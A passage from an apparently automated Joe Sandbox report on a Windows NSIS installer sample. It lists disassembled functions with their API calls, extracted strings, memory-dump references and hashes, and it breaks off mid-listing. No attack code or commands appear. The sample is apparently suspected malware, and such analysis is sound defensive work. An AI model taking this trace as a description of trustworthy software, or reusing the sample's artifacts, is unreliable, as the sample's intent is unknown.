Part of subcall function 00406328: GetProcAddress.KERNEL32(00000000), ref: 00406353

SHGetFileInfoW.SHELL32(0040A264,00000000,?,000002B4,00000000), ref: 00403908

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GetCommandLineW.KERNEL32(00476AA0,NSIS Error), ref: 0040391D
GetModuleHandleW.KERNEL32(00000000,004CF0A0,00000000), ref: 00403930
CharNextW.USER32(00000000,004CF0A0,00000020), ref: 00403957
GetTempPathW.KERNEL32(00002004,004E30C8,00000000,00000020), ref: 00403A2C
GetWindowsDirectoryW.KERNEL32(004E30C8,00001FFF), ref: 00403A41
lstrcatW.KERNEL32(004E30C8,\Temp), ref: 00403A4D
DeleteFileW.KERNELBASE(004DF0C0), ref: 00403A64
CoUninitialize.COMBASE(?), ref: 00403AFD
ExitProcess.KERNEL32 ref: 00403B1D
lstrcatW.KERNEL32(004E30C8,~nsu.tmp), ref: 00403B29
lstrcmpiW.KERNEL32(004E30C8,004DB0B8,004E30C8,~nsu.tmp), ref: 00403B35
CreateDirectoryW.KERNEL32(004E30C8,00000000), ref: 00403B41
SetCurrentDirectoryW.KERNEL32(004E30C8), ref: 00403B48
DeleteFileW.KERNEL32(0043DD40,0043DD40,?,00483008,0040A204,0047F000,?), ref: 00403B99
CopyFileW.KERNEL32(004EB0D8,0043DD40,00000001), ref: 00403BAD
CloseHandle.KERNEL32(00000000,0043DD40,0043DD40,?,0043DD40,00000000), ref: 00403BDA
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C30
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C6C

Strings

\Temp, xrefs: 00403A47
SeShutdownPrivilege, xrefs: 00403C42
NCRC, xrefs: 004039A8
NSIS Error, xrefs: 0040390E
_?=, xrefs: 00403A90
/D=, xrefs: 004039D2
~nsu.tmp, xrefs: 00403B23
Error launching installer, xrefs: 00403AA9

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp
API String ID: 2435955865-3712954417
Opcode ID: aec89c4631a4f28101b36bf3f0ee1ca0be396cf3d13a1cbdd2f96bcbf360b5e4
Instruction ID: 6e3717b9be2730fff72f59090edb21b77de3e5055cb75e9aafb2752c1f1d7b94
Opcode Fuzzy Hash: aec89c4631a4f28101b36bf3f0ee1ca0be396cf3d13a1cbdd2f96bcbf360b5e4
Instruction Fuzzy Hash: 1DA1E6715443117AD720BF629C4AE1B7EACAB0470AF10443FF545B62D2D7BD8A448BAE

Function 00406301 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(00461E18,00466A20,00461E18,004067FA,00461E18), ref: 0040630C
FindClose.KERNEL32(00000000), ref: 00406318

Strings

jF, xrefs: 00406302

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: jF
API String ID: 2295610775-3349280890
Opcode ID: a5aa16d55819016c4e26a60e9ec5dfcaedf525e35b4e30500cf5e78c71265be2
Instruction ID: ae54cbf5f70e9060ab25dbcc7d0ddb8e13a77f3b50f8061b144b06f1ffcf0783
Opcode Fuzzy Hash: a5aa16d55819016c4e26a60e9ec5dfcaedf525e35b4e30500cf5e78c71265be2
Instruction Fuzzy Hash: C8D01231A141215BD7105778AD0C89B7E9CDF0A330366CA32F866F11F5D3348C2186ED

Function 00406328 Relevance: 4.5, APIs: 3, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
GetProcAddress.KERNEL32(00000000), ref: 00406353

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: 2fa3fc2bddc204e922c82fa426c5bb1cc5fbaa7aed8e5e7daaeaf6592e3c6ac6
Instruction ID: 7c6873576e710d3586a353c563cf751ff2fc1cfd2ce2d1275f1b712779c4e249
Opcode Fuzzy Hash: 2fa3fc2bddc204e922c82fa426c5bb1cc5fbaa7aed8e5e7daaeaf6592e3c6ac6
Instruction Fuzzy Hash: A8D01232200111D7C7005FA5AD48A5FB77DAE95A11706843AF902F3171E734D911E6EC

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNELBASE(?,004D70B0,?,000000E6,004100F0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,004100F0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
SetFileAttributes: "%s":%08X, xrefs: 0040177B
detailprint: %s, xrefs: 00401679
Jump: %d, xrefs: 00401602
Call: %d, xrefs: 0040165A
Rename failed: %s, xrefs: 0040194B
Rename on reboot: %s, xrefs: 00401943
IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
CreateDirectory: "%s" created, xrefs: 00401849
SetFileAttributes failed., xrefs: 004017A1
Sleep(%d), xrefs: 0040169D
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
CreateDirectory: "%s" (%d), xrefs: 004017BF
BringToFront, xrefs: 004016BD
Aborting: "%s", xrefs: 0040161D
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
Rename: %s, xrefs: 004018F8

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: cb44afc3f00204bc7321e8aa54be61598e0149da34aa070ef9c2be04eb5c6a73
Instruction ID: d546d874ac51cf0a7c72b7d7aee7a5a926bf82a1b22bfeef9e4f81a1fba4758f
Opcode Fuzzy Hash: cb44afc3f00204bc7321e8aa54be61598e0149da34aa070ef9c2be04eb5c6a73
Instruction Fuzzy Hash: 9EB1F435A00214ABDB10BFA1DD55DAE3F69EF44324B21817FF806B61E2DA3D4E40C66D

Function 004054A5 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054E1
ShowWindow.USER32(?), ref: 004054FE
DestroyWindow.USER32 ref: 00405512
SetWindowLongW.USER32(?,00000000,00000000), ref: 0040552E
GetDlgItem.USER32(?,?), ref: 0040554F
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405563
IsWindowEnabled.USER32(00000000), ref: 0040556A
GetDlgItem.USER32(?,00000001), ref: 00405619
GetDlgItem.USER32(?,00000002), ref: 00405623
SetClassLongW.USER32(?,000000F2,?), ref: 0040563D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040568E
GetDlgItem.USER32(?,00000003), ref: 00405734
ShowWindow.USER32(00000000,?), ref: 00405756
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00405768
EnableWindow.USER32(?,?), ref: 00405783
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00405799
EnableMenuItem.USER32(00000000), ref: 004057A0
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004057B8
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004057CB
lstrlenW.KERNEL32(00451D98,?,00451D98,00476AA0), ref: 004057F4
SetWindowTextW.USER32(?,00451D98), ref: 00405808
ShowWindow.USER32(?,0000000A), ref: 0040593C

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: 368de82205cbc4940732e302d2e847697efd4030890e1d8fceca6bf2533b68ed
Instruction ID: f960999a9681c69a960cfafceaa395f4ab6c0ab2fcbff8166cb7657a87eea2d0
Opcode Fuzzy Hash: 368de82205cbc4940732e302d2e847697efd4030890e1d8fceca6bf2533b68ed
Instruction Fuzzy Hash: 13C189B1500A04FBDB216F61ED89E2B7BA9EB49715F00093EF506B11F1C6399881DF2E

Function 00405958 Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406328: GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
Part of subcall function 00406328: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
Part of subcall function 00406328: GetProcAddress.KERNEL32(00000000), ref: 00406353

lstrcatW.KERNEL32(004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006,004CF0A0,-00000002,00000000,004E30C8,00403AED,?), ref: 004059DA
lstrlenW.KERNEL32(0046E220,?,?,?,0046E220,00000000,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006,004CF0A0), ref: 00405A5C
lstrcmpiW.KERNEL32(0046E218,.exe,0046E220,?,?,?,0046E220,00000000,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000), ref: 00405A6F
GetFileAttributesW.KERNEL32(0046E220), ref: 00405A7A

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004D30A8), ref: 00405AE3
RegisterClassW.USER32(00476A40), ref: 00405B36
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B4E
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B87

Part of subcall function 00403EC1: SetWindowTextW.USER32(00000000,00476AA0), ref: 00403F5C

ShowWindow.USER32(00000005,00000000), ref: 00405BBD
LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BCE
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BD9
GetClassInfoW.USER32(00000000,RichEdit20A,00476A40), ref: 00405BE9
GetClassInfoW.USER32(00000000,RichEdit,00476A40), ref: 00405BF6
RegisterClassW.USER32(00476A40), ref: 00405BFF
DialogBoxParamW.USER32(?,00000000,004054A5,00000000), ref: 00405C1E

Strings

RichEdit20A, xrefs: 00405BE2, 00405BE7
_Nb, xrefs: 00405AFD
Control Panel\Desktop\ResourceLocale, xrefs: 0040599E
.DEFAULT\Control Panel\International, xrefs: 004059C5
"F, xrefs: 00405A4B
F, xrefs: 00405A22
RichEd20, xrefs: 00405BC9
RichEdit, xrefs: 00405BF0
@jG, xrefs: 00405AF2
RichEd32, xrefs: 00405BD4
.exe, xrefs: 00405A69

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: F$"F$.DEFAULT\Control Panel\International$.exe$@jG$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-2746725676
Opcode ID: ff750bfe5142f8154025b48725ed66ec952ceebe161b5cb34577f361fd6f9efb
Instruction ID: c846f8899feab6000a015ad3d9ba4b80e1385b5ee8e185a3118195eaaf4def2f
Opcode Fuzzy Hash: ff750bfe5142f8154025b48725ed66ec952ceebe161b5cb34577f361fd6f9efb
Instruction Fuzzy Hash: 53719175600705AEE710AB65AD89E2B37ACEB44718F00453FF906B62E2D778AC41CF6D

Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

lstrcatW.KERNEL32(00000000,00000000,GrassConnectorTransThehun,004D70B0,00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,GrassConnectorTransThehun,GrassConnectorTransThehun,00000000,00000000,GrassConnectorTransThehun,004D70B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00426176,762323A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00426176,762323A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00426176,762323A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Strings

File: error, user cancel, xrefs: 00401B93
File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39
File: error, user retry, xrefs: 00401B40
File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81
GrassConnectorTransThehun, xrefs: 00401A53, 00401A5C, 00401A69, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B
File: error creating "%s", xrefs: 00401AF0
File: wrote %d to "%s", xrefs: 00401BD0
File: error, user abort, xrefs: 00401B53

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"$GrassConnectorTransThehun
API String ID: 4286501637-1809075665
Opcode ID: e66e3e702844fd7f079e7b10ae6de895f6d273da0ae026ac64afba16485083bb
Instruction ID: 90fa90950dbbf035c4f81507b49f49b55cd41b97b653845b504dd01eb698d819
Opcode Fuzzy Hash: e66e3e702844fd7f079e7b10ae6de895f6d273da0ae026ac64afba16485083bb
Instruction Fuzzy Hash: 8B512931901214BADB10BBB5CC46EEE3979EF05378B20423FF416B11E2DB3C9A518A6D

Function 0040337F Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 175
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033F1
GetTickCount.KERNEL32 ref: 00403492
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 004034BB
wsprintfW.USER32 ref: 004034CE
WriteFile.KERNELBASE(00000000,00000000,00426176,00403792,00000000), ref: 004034FF
WriteFile.KERNEL32(00000000,00420170,?,00000000,00000000,00420170,?,000000FF,00000004,00000000,00000000,00000000), ref: 00403597

Strings

... %d%%, xrefs: 004034C8
v!B, xrefs: 00403458, 0040346A
vaB, xrefs: 0040346F, 0040348A, 00403513
pAB, xrefs: 004033AB
(]C, xrefs: 004033FD

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: (]C$... %d%%$pAB$v!B$vaB
API String ID: 651206458-484592821
Opcode ID: a825d6787153bf0de4e2119c04a804022ac971a8914dbc6ec561ebe6254ceb78
Instruction ID: 38da17626370685da8d32df628044978fcb9abff53cdf920ebdff1c577d6aec0
Opcode Fuzzy Hash: a825d6787153bf0de4e2119c04a804022ac971a8914dbc6ec561ebe6254ceb78
Instruction Fuzzy Hash: BE615D71900219EBCF10DF69ED8469E7FBCAB54356F10413BE810B72A0D7789E90CBA9

Function 004035B3 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004035C4
GetModuleFileNameW.KERNEL32(00000000,004EB0D8,00002004,?,?,?,00000000,00403A73,?), ref: 004035E0

Part of subcall function 00405E7C: GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
Part of subcall function 00405E7C: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

GetFileSize.KERNEL32(00000000,00000000,004EF0E0,00000000,004DB0B8,004DB0B8,004EB0D8,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 0040362C

Strings

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037F1
soft, xrefs: 004036A1
Inst, xrefs: 00403698
Null, xrefs: 004036AA
Error launching installer, xrefs: 00403603

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 1c468bae64f21cc984bb13b12bce4b19fca03feff63e1d2e4bd855413efb252c
Instruction ID: dd9ffda97dac1e18d9081c595fe0b3a994810ea71df15e1d022794f6b5594c79
Opcode Fuzzy Hash: 1c468bae64f21cc984bb13b12bce4b19fca03feff63e1d2e4bd855413efb252c
Instruction Fuzzy Hash: 8551B8B1900214AFDB20DFA5DC85B9E7EACAB1435AF60857BF905B72D1C7389E408B5C

Function 00404F9E Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(00445D80,00426176,762323A0,00000000), ref: 00404FD6
